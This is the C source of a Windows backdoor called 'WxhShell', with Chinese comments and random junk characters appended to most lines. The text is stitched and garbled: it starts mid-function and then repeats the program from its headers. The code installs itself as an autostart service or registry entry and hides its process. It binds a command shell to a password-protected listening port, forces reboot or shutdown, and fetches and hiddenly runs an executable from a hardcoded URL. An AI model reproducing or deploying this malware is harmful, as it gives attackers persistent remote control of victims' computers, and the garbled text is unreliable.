    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rWN#QL()*  
    else { 3YY<2<  
    closesocket(wsh); WIwbf|\  
    ExitThread(0); ;bt@wgY  
    } Y`FGD25`  
    break; ,v"/3Ff{,  
    } ++KY+j.^  
  // 获取shell +mBJvrI  
  case 's': { JOj\#!\>k0  
    CmdShell(wsh); X,- ' v[z  
    closesocket(wsh); JCIm*6~  
    ExitThread(0); !g? ~<`   
    break; -Q@jL{Ue  
  } #unE>#DW  
  // 退出 //--r5Q  
  case 'x': { {$iJYS\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l+'1>T.I  
    CloseIt(wsh); k&nhF9Y4  
    break; o3H+.u$  
    } Xco$ yF%  
  // 离开 Tb-`0^y&X1  
  case 'q': { =N,KVMxw  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y)3(  
    closesocket(wsh); `92 D]^g  
    WSACleanup(); c$f|a$$b   
    exit(1); ixJUq o  
    break; lY}mrb  
        } ;F&wGe  
  } ^H+j;K{5,  
  } @LY 5]og  
$,k SR}  
  // 提示信息 O$ i6r]j_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;(w=}s%]+  
} 6'C!Au  
  } ";~}"Yz?[  
X$JO<@x  
  return; {nQ}t }B  
} 1A23G$D  
*D1fSu!  
// shell模块句柄 z(< E %  
int CmdShell(SOCKET sock) *jWU8.W  
{ PF.sM(  
STARTUPINFO si; 4Uz:zB  
ZeroMemory(&si,sizeof(si)); #e%.z+7I  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hMJ \a  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )!dELS \ix  
PROCESS_INFORMATION ProcessInfo; FH8?W| G  
char cmdline[]="cmd"; _lQ+J=J$.R  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); TJY$<:  
  return 0; 98C~%+  
} tYfhKJzGC  
k?Jzy  
// 自身启动模式 hvBuQuk)  
int StartFromService(void) ~QdwoeaD  
{ hE:P'O1  
typedef struct ;hs:wLVa"  
{ v>3ctP {  
  DWORD ExitStatus; ;J\{r$q  
  DWORD PebBaseAddress; (Cp:NS  
  DWORD AffinityMask; }jd[>zk  
  DWORD BasePriority; eEsEW<su  
  ULONG UniqueProcessId; 9szE^kHS9  
  ULONG InheritedFromUniqueProcessId; )I+1 b !U  
}   PROCESS_BASIC_INFORMATION; SU# S'  
|~H'V4)zXu  
PROCNTQSIP NtQueryInformationProcess; 5*buRYck0  
oW]&]*>J  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =Ak>2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v85&s  
:&)RK~1m_  
  HANDLE             hProcess; B^Ql[m&5+  
  PROCESS_BASIC_INFORMATION pbi; K=sQ_j.&Z  
9r1pdG_C@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E08AZOY&g  
  if(NULL == hInst ) return 0; B4R,[WE"  
`@.YyPxX\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); svpWABO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e;3$7$n Pv  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Lu:!vTRmw  
q\#3G  
  if (!NtQueryInformationProcess) return 0; @7lZ{jV$  
jZv8X 5i  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s*k"-5  
  if(!hProcess) return 0; \g4\a?i  
k9 *0xukJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |r-<t  
=X&h5;x'  
  CloseHandle(hProcess); V2/+SvB2  
6lT'%ho}B  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); FA{I S0  
if(hProcess==NULL) return 0; uy\YJ.WMQ  
x6DH0*[.  
HMODULE hMod; =hl-c  
char procName[255]; $Z28nPd/  
unsigned long cbNeeded; }T c)M_  
`"ie57-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A94VSUDA:  
1Y9Ye?~jd  
  CloseHandle(hProcess); {bETHPCf  
M~662]Ekk  
if(strstr(procName,"services")) return 1; // 以服务启动 FeV=4tsy  
tDN-I5q  
  return 0; // 注册表启动 !y] Y'j  
} ZQBo|8*  
uaDU+y wL  
// 主模块 6l_8Q w*5I  
int StartWxhshell(LPSTR lpCmdLine) XVv7W5/q]  
{ s?Q`#qD  
  SOCKET wsl; D"x~bs?V\  
BOOL val=TRUE; rW\~sTH  
  int port=0; !Rb7q{@>  
  struct sockaddr_in door; iBUf1v  
T[Gz  
  if(wscfg.ws_autoins) Install(); 6  09=o+  
}= <!j5:  
port=atoi(lpCmdLine); RTl7vzG  
NZlJ_[\$C  
if(port<=0) port=wscfg.ws_port; q',a7Tf:  
8%xtb6#7M  
  WSADATA data; #kb(2Td  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !-MG"\#Wq  
9q8 rf\&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |x5 w;=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); W' 2)$e  
  door.sin_family = AF_INET; S'@"a%EV  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); kT$4X0}  
  door.sin_port = htons(port); H>7!+&M  
4x C0Aw  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *E. 2R{  
closesocket(wsl); e@,L~ \  
return 1; Fk9(FOFg  
} Mvcl9  
F 1zc4l6  
  if(listen(wsl,2) == INVALID_SOCKET) { 9MYt4  
closesocket(wsl); 3p4bOT5  
return 1; &0C!P=-p  
} i{e<kKh  
  Wxhshell(wsl); (Iq\+@xE=  
  WSACleanup(); 33;|52$  
;q^YDZ'  
return 0; SQ1&n;M}f  
sIy$}_  
} AMm O+E?  
#&5\1Qu  
// 以NT服务方式启动 mE7Jv)@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) aEM#V  
{ &GZR-/  
DWORD   status = 0; 9(PFd%  
  DWORD   specificError = 0xfffffff; ut,"[+ J  
L%8"d6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; U&/S  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >S3 >b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z"vgwOP su  
  serviceStatus.dwWin32ExitCode     = 0; >5gzo6j/  
  serviceStatus.dwServiceSpecificExitCode = 0; bG&qgbN>  
  serviceStatus.dwCheckPoint       = 0; H5%I?ZXw4  
  serviceStatus.dwWaitHint       = 0; Qv=Z  
_k@l-Bj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :OZhEBL&b  
  if (hServiceStatusHandle==0) return; U{}7:&As  
Z"^@B2v  
status = GetLastError(); enr mjA&3  
  if (status!=NO_ERROR) YOoP]0'L  
{ 1M{#"t{6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; sI'HS+~pU  
    serviceStatus.dwCheckPoint       = 0; 5.E 2fX  
    serviceStatus.dwWaitHint       = 0; $G}Q}f  
    serviceStatus.dwWin32ExitCode     = status; W P&zF$  
    serviceStatus.dwServiceSpecificExitCode = specificError; "|%fA E  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); E4.IS =4S  
    return; +]zP $5_e  
  } CKur$$B  
O^$Zz<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m{yON&y  
  serviceStatus.dwCheckPoint       = 0; syfR5wc  
  serviceStatus.dwWaitHint       = 0; qs b4@jt+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4%7*tVG  
} 4>HGwk@+8  
sP |i '  
// 处理NT服务事件,比如:启动、停止 CUG<v3\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) tSYnc7  
{  M:$nL  
switch(fdwControl) }.vy|^X  
{ s#fmGe"8  
case SERVICE_CONTROL_STOP: 9|m  L  
  serviceStatus.dwWin32ExitCode = 0; iau&k `b`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; R}Y=!qjYE=  
  serviceStatus.dwCheckPoint   = 0; :F\f}G3  
  serviceStatus.dwWaitHint     = 0; E;Hjw0M'k  
  { {cI<4><  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J)-> 7h =  
  } w6Q]?p+  
  return; u5ygbCm  
case SERVICE_CONTROL_PAUSE: ~k(Ez pn#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; qQ'@yTVN  
  break; 'W*F[U*&HP  
case SERVICE_CONTROL_CONTINUE: rY= #^S  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 463dLEd  
  break; }{y$$X<:  
case SERVICE_CONTROL_INTERROGATE: BSf"'0I&  
  break; u\wd<<I']  
}; \nWpV7TSN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p'4P2   
} A&'%ou  
M2S|$6t:  
// 标准应用程序主函数 yw<xv-Q=i  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) D=vq<X'  
{ 2cl~Va=  
wp*1HnWj8Y  
// 获取操作系统版本 ( -@>  
OsIsNt=GetOsVer(); 6hq)yUvo4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;p ('cwU%  
+bn w,B><  
  // 从命令行安装 AlxS?f2w  
  if(strpbrk(lpCmdLine,"iI")) Install(); OEW,[d  
H/&Q,9sU21  
  // 下载执行文件 nE;gM1I  
if(wscfg.ws_downexe) { ?OyW|jL  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (c2\:hvy  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3lN+fQ>)S  
} Gp+XM  
WU\bJ}  
if(!OsIsNt) { W|e>  
// 如果时win9x,隐藏进程并且设置为注册表启动 ($W 5fbu  
HideProc(); gEsR-A!m  
StartWxhshell(lpCmdLine); j[cjQ]>~'  
} i#=X#_ +El  
else @k,(i=**  
  if(StartFromService()) 7p$*/5fk  
  // 以服务方式启动 #O+]ydvT  
  StartServiceCtrlDispatcher(DispatchTable); #^ #i]{g  
else Z B&Uhi  
  // 普通方式启动 Rp*t"HSaAW  
  StartWxhshell(lpCmdLine); ^nF$<#a  
jYz3(mM'J  
return 0; !e `=UZe1  
} QO/7p]$_  
xk8p,>/  
O$/ swwB!  
I+t38 un%  
=========================================== T}[vfIJD  
C>dJ:.K%H  
ooSd6;'  
Dt.Wb&V_w  
/ nFw  
X)OP316yx  
" VH6|(=8  
<1BK 5%?  
#include <stdio.h> o7XRa]O  
#include <string.h> #U D  
#include <windows.h> DG?\6Zh  
#include <winsock2.h> vP?S0>gh  
#include <winsvc.h> YO0x68  
#include <urlmon.h> Ue:T3jp 3%  
)`7+o9&  
#pragma comment (lib, "Ws2_32.lib") Xy<f_  
#pragma comment (lib, "urlmon.lib") t|QMS M?s  
!\O,dq  
#define MAX_USER   100 // 最大客户端连接数 _ n4ma  
#define BUF_SOCK   200 // sock buffer F@bCm+z-  
#define KEY_BUFF   255 // 输入 buffer |7x^@i9w  
[frD L)  
#define REBOOT     0   // 重启 R}9jgB  
#define SHUTDOWN   1   // 关机 2z# @:Q  
EsB'nf r  
#define DEF_PORT   5000 // 监听端口 2(/ /slP  
$yFuaqG`Wo  
#define REG_LEN     16   // 注册表键长度 KocXSh U  
#define SVC_LEN     80   // NT服务名长度 {WOfT6y+  
G5J ZB7C  
// 从dll定义API [F[<2{FQF  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }zxh:"#K  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5)NBM7h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "mDrJTWa  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); t~K!["g  
4(GgaQFO?  
// wxhshell配置信息 WCTW#<izm  
struct WSCFG { `Kw8rG\]:  
  int ws_port;         // 监听端口 RmV/wY  
  char ws_passstr[REG_LEN]; // 口令 kQlcT"R  
  int ws_autoins;       // 安装标记, 1=yes 0=no nvVsO>2{ o  
  char ws_regname[REG_LEN]; // 注册表键名 3#9r4;&  
  char ws_svcname[REG_LEN]; // 服务名 @~G`~8   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 HCkqh4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $!!=fFX*y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *"{Z?< 3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \1C!,C  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bk9~63tN+>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .hNw1~Fj  
N: jiZ)  
}; n12c075  
jI<WzvhYG  
// default Wxhshell configuration |0R%!v(,  
struct WSCFG wscfg={DEF_PORT, .x?zky^  
    "xuhuanlingzhe", #n)W  
    1, "d>g)rvOc  
    "Wxhshell", ]m#MwN$  
    "Wxhshell", A""*vqA  
            "WxhShell Service", <L ( =  
    "Wrsky Windows CmdShell Service", y"L`bl A9}  
    "Please Input Your Password: ", V^/^OR4k  
  1, gJ8 c]2c  
  "http://www.wrsky.com/wxhshell.exe", D)7$M]d%  
  "Wxhshell.exe" 0QH3,Ps1C  
    }; MXJ9,U{<C'  
Zi@+T  
// 消息定义模块 02#Iip3t  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; L{%a4 Ip  
char *msg_ws_prompt="\n\r? for help\n\r#>"; C|;Mhe'r=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; FDs^S)B  
char *msg_ws_ext="\n\rExit."; jTUf4&b-  
char *msg_ws_end="\n\rQuit."; _JIUds5  
char *msg_ws_boot="\n\rReboot..."; 4yZ+,hqJ<9  
char *msg_ws_poff="\n\rShutdown..."; l%U_iqL&  
char *msg_ws_down="\n\rSave to "; %R*vSRG/U  
jP.b oj_u*  
char *msg_ws_err="\n\rErr!"; 9`n) "r  
char *msg_ws_ok="\n\rOK!"; S@zkoj@  
{2gd4[:  
char ExeFile[MAX_PATH]; z<vO#  
int nUser = 0; =/QU$[7X(  
HANDLE handles[MAX_USER]; -hFyqIJW  
int OsIsNt; (s@tU>4U  
! }?jCpp  
SERVICE_STATUS       serviceStatus; RHl=$Hm.%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Sc$8tLDLj  
-@V"i~g<e  
// 函数声明 I&fh  
int Install(void); -YjgS/g  
int Uninstall(void); ck_fEF  
int DownloadFile(char *sURL, SOCKET wsh); b hr E  
int Boot(int flag); r{2].31'  
void HideProc(void); ie~fQ!rf  
int GetOsVer(void); ?-::{2O)  
int Wxhshell(SOCKET wsl); ,ibPSN5Ca  
void TalkWithClient(void *cs); d J%Rk#?;A  
int CmdShell(SOCKET sock); =Pb5b6Y@6  
int StartFromService(void); O:^LQ  
int StartWxhshell(LPSTR lpCmdLine); [aM'  
3AQ>>)T~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X*9N[#wu6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); } wOpPN[4  
:{ WrS  
// 数据结构和表定义 'bI~61{A  
SERVICE_TABLE_ENTRY DispatchTable[] = } B9~X  
{ 6+B{4OY  
{wscfg.ws_svcname, NTServiceMain}, " $IXZ  
{NULL, NULL} =i^<a7M~  
}; 4,F3@m:<  
Cq*}b4^;  
// 自我安装 9kX=99kf[  
int Install(void) M|({ 4C  
{ %w8GGm8^/  
  char svExeFile[MAX_PATH]; _:Jp*z  
  HKEY key; oS#'u 1k  
  strcpy(svExeFile,ExeFile); {pb9UUP2  
H&=n:'k^  
// 如果是win9x系统,修改注册表设为自启动 sL AuR  
if(!OsIsNt) { k8 ;uC~L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;64mf`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4]aiT8))  
  RegCloseKey(key); 0 oj{e9h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }\u%)uZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'LbeL1ca  
  RegCloseKey(key); 9sU+IT K4  
  return 0; 6snOMa GRu  
    } ;w6fM  
  } Gl8&FrR  
} O%JsUKV  
else { 3 IWLBc  
'-PMF~~S  
// 如果是NT以上系统,安装为系统服务  Vp] D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "rx^M*"  
if (schSCManager!=0) FJf~vAQ  
{ phgexAq  
  SC_HANDLE schService = CreateService 6vgBqn[  
  ( 5`E`Kb+@  
  schSCManager, N=T.l*8  
  wscfg.ws_svcname, EY)Gi`lK  
  wscfg.ws_svcdisp, a%T -Z.rd  
  SERVICE_ALL_ACCESS, gM3]%L_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2T@L{ql  
  SERVICE_AUTO_START, 1O7]3&L@  
  SERVICE_ERROR_NORMAL, Z6^QB@moj  
  svExeFile, {+"g':><  
  NULL, Cx+WLD  
  NULL, iO*`(s  
  NULL, &whX*IZ{  
  NULL, }{5mH:  
  NULL wMz-U- z  
  ); v0Ai!#  
  if (schService!=0) iIsEQh  
  { ;n} >C' :  
  CloseServiceHandle(schService); (rr}Pv%yb  
  CloseServiceHandle(schSCManager); Ts(t:^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); j1puB  
  strcat(svExeFile,wscfg.ws_svcname); -Aa]aDAz68  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /Fe:h >6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e2k4[V  
  RegCloseKey(key); }qiF^D}  
  return 0; \9]I#Ih}M  
    } X%GD0h]X#  
  } s !#HZK  
  CloseServiceHandle(schSCManager); zb5N,!%r  
} aUW/1nQHa  
} kG)2%  
wqlcLIJPR  
return 1; IX<r5!  
} L6:W'u^  
3ar=1_Ar  
// 自我卸载 <t{?7_ 8  
int Uninstall(void) JBR[; zM  
{ 'ySljo*It  
  HKEY key; ~n[b^b  
=s'XR@  
if(!OsIsNt) { &:V@2_6"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,AH0*L  
  RegDeleteValue(key,wscfg.ws_regname); 4K9Rpm  
  RegCloseKey(key); 'aD6>8/Hj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nW4Vct  
  RegDeleteValue(key,wscfg.ws_regname); z,{e]MB)M  
  RegCloseKey(key); N5nvL)a~  
  return 0; >dpbCPJ9[  
  } Ag0]U  
} ~ww?Emrw  
} $ph0ag+  
else { [kbC'Eh*  
-IBO5;2_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); x*.Ye 5Jb  
if (schSCManager!=0) }B y)y;~  
{ 3{N\A5 ~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c 9rVgLqn!  
  if (schService!=0) F =XF]  
  { ]7a;jNQu  
  if(DeleteService(schService)!=0) { [6D>f?z  
  CloseServiceHandle(schService); FU%~9NKX  
  CloseServiceHandle(schSCManager); GR,J0LT   
  return 0; ?75\>NiR  
  } dQ:?<zZ  
  CloseServiceHandle(schService); K7IyCcdB  
  } Kb}MF9?:e  
  CloseServiceHandle(schSCManager); C"w,('~@kW  
} GDF{Lf)/v  
} U1l0Uke  
fr+@HUOxsl  
return 1; /b.$jnqL  
} (NX)o P  
 ]}Pl%.  
// 从指定url下载文件 [ S5bj]D  
int DownloadFile(char *sURL, SOCKET wsh) hwiKOP  
{ >DL/ ..  
  HRESULT hr; jm[}M  
char seps[]= "/"; wL;]1&Qq  
char *token; lDo(@nM  
char *file; Bwjg#1E  
char myURL[MAX_PATH]; $^t<9" t  
char myFILE[MAX_PATH]; ,Ij=b  
#wF1  
strcpy(myURL,sURL); O -G1})$  
  token=strtok(myURL,seps); TWUUvj`.  
  while(token!=NULL) AzZJG v ]H  
  { 1e/L\Y=m  
    file=token; Y2<dM/b/  
  token=strtok(NULL,seps); a\=-D:  
  } b\?3--q  
qgtn5] A  
GetCurrentDirectory(MAX_PATH,myFILE); A8J8u,u9  
strcat(myFILE, "\\"); o,CBA;{P  
strcat(myFILE, file); L?!$EPr  
  send(wsh,myFILE,strlen(myFILE),0); *ksb?|<Ot  
send(wsh,"...",3,0); &.zj5*J  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q:mZ" i5  
  if(hr==S_OK) =yo{[&Jz  
return 0; L[rpb.'FG  
else @%c81rv?  
return 1; j")FaIM  
 l^P#kQA  
} c15r':.5  
!#?8BwnaZ  
// 系统电源模块 O}QFq14<+  
int Boot(int flag) Rp0|zP,5  
{ +P|2m"UA  
  HANDLE hToken; ~ FGe ~  
  TOKEN_PRIVILEGES tkp; D}w<84qX  
n12UBvc}%  
  if(OsIsNt) { a5a1'IVq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !i^]UN   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }qAVN  
    tkp.PrivilegeCount = 1; |Ab{H%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ibXe"X/_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jeq:  
if(flag==REBOOT) { RX'-99M  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w:}C8WKw  
  return 0; [(|^O>k8c  
} qIh #~  
else { GB>aT-G7q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Gg|M+M?+  
  return 0; 7:TO\0]2n  
} B oqJ   
  } #zt*xS[{0  
  else { X8b|]Nr  
if(flag==REBOOT) { ~].ggcl`w  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) DR@1z9 a  
  return 0; JS!*2*Wr  
} nLj&Uf&  
else { @u/H8\.l  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `B:"6nW6  
  return 0; o-z &7@3Hu  
} P? (vW&B  
} 3;-^YG  
*_1[[~Aw  
return 1; @uM EXP  
} \0ov[T N.>  
!,Nwts>m  
// win9x进程隐藏模块 R"3 M[^  
void HideProc(void) 'tm$q /&  
{ {oUAP1V^  
JO=1ivZl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); h%TLD[[/jr  
  if ( hKernel != NULL ) *tc{vtuu~^  
  { %v{1# ~u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ly7!R$X  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H-I{-Fm  
    FreeLibrary(hKernel); ~zF2`.  
  } , ECLqs%  
a }'->H  
return; (e9fm|n!)|  
} +?[BU<X6u  
f8'MP9Lv  
// 获取操作系统版本 .et ^4V3  
int GetOsVer(void) KzphNHd  
{ :$g8Zm,y  
  OSVERSIONINFO winfo; DI1(`y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); __I/F6{ 9V  
  GetVersionEx(&winfo); ^:u?ye;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3F+Jdr'  
  return 1; BAV>o|-K  
  else C!&y   
  return 0; .VM3D0aV  
} 4Po)xo  
 9S1)U$  
// 客户端句柄模块 tHh HrMxO  
int Wxhshell(SOCKET wsl) c #lPc>0xb  
{ -.iNNM&a  
  SOCKET wsh; vfwA$7N  
  struct sockaddr_in client; r &%.z*q  
  DWORD myID; MT6/2d  
P`jL]x  
  while(nUser<MAX_USER) {Dr@HP/x=s  
{ 33K*qaRAD  
  int nSize=sizeof(client); +}@ 8p[`)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); = 96P7#%  
  if(wsh==INVALID_SOCKET) return 1; !MVj=(  
F[Q!d6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); BFVAw  
if(handles[nUser]==0) TWd;EnNM  
  closesocket(wsh); 909md|9K3  
else zl%>`k!>  
  nUser++; 6X)@ajGWg~  
  } yz\c5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }]+xFj9[>  
yGj.)$1},@  
  return 0; ;o-yQmdh  
} (GcT(~Gq)D  
zhblLBpeE\  
// 关闭 socket SDYv(^ f ,  
void CloseIt(SOCKET wsh) /nZ;v4  
{ vq!uD!lr  
closesocket(wsh); *7$P]  
nUser--; 55Gtp\L  
ExitThread(0); z42F,4Gk  
} <rIz Z'D  
/6+NU^  
// 客户端请求句柄 @|\R}k%(  
void TalkWithClient(void *cs) Uxu\u0*  
{ E9}{1A  
8VQ 24r  
  SOCKET wsh=(SOCKET)cs; yx>_scv,T  
  char pwd[SVC_LEN]; ycAKK?O*  
  char cmd[KEY_BUFF]; jS<_ )  
char chr[1]; tPfFqqT  
int i,j; ]zfG~^.  
#VVr"*7$  
  while (nUser < MAX_USER) { Vj?DA5W`'  
+&|S'7&{  
if(wscfg.ws_passstr) { xV\5<7qk5g  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  dy>!KO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bh p5<N  
  //ZeroMemory(pwd,KEY_BUFF); IMGP'g  
      i=0; XfYC7-e9c  
  while(i<SVC_LEN) { D y-S98Y  
]J7Qgp)i  
  // 设置超时 9`Q<Yy"du  
  fd_set FdRead; $s5a G)?7  
  struct timeval TimeOut; ^U[D4UM  
  FD_ZERO(&FdRead); :dI\z]Y(  
  FD_SET(wsh,&FdRead); CC^E_jT  
  TimeOut.tv_sec=8; k1 -~  
  TimeOut.tv_usec=0; t*XN_=E$f  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); FFKGd/:!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \ I`p|&vG  
3)=c]@N0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u3 0s_\  
  pwd=chr[0]; 28.~iw  
  if(chr[0]==0xd || chr[0]==0xa) { tBATZ0nK`Q  
  pwd=0; Gi2$B76<  
  break; zDTv\3rZ4X  
  } V5f9]D  
  i++; 3< Od0J  
    } :4gLjzL  
bM,1f/^  
  // 如果是非法用户,关闭 socket M~Ttb29{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Cq)IayD@  
} Ro(Zmk\t  
jE2}p-2Q0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kgdT7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R(Kk{c:-@  
^' M>r (t  
while(1) { q`NXJf=sc  
*f%>YxF  
  ZeroMemory(cmd,KEY_BUFF); txgQ"MGA%  
aGZi9O7G}  
      // 自动支持客户端 telnet标准   3r+.N  
  j=0; nC1zzFFJ  
  while(j<KEY_BUFF) { Y?J"wdWJNB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /4\wn?f  
  cmd[j]=chr[0]; 7R4z}2F2  
  if(chr[0]==0xa || chr[0]==0xd) { 7nq3S  
  cmd[j]=0; <S75($  
  break; ikD1N  
  } 8T)&`dM6P~  
  j++; T:]L/wCj  
    } BQH}6ueZ  
!TM*o+;  
  // 下载文件 =3ioQZ^Vz  
  if(strstr(cmd,"http://")) { B~ S6R  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %V9ZyQg%*  
  if(DownloadFile(cmd,wsh)) <_Z:'~Zp  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7Z ;?b0W  
  else ) rW&c- '  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :r#)z4d5  
  } tVrY3)c  
  else { 2%RNq<{Z_  
zmj"fN{\  
    switch(cmd[0]) { t\P<X^d%  
  ;5-r_D;9  
  // 帮助 "tFxhKf  
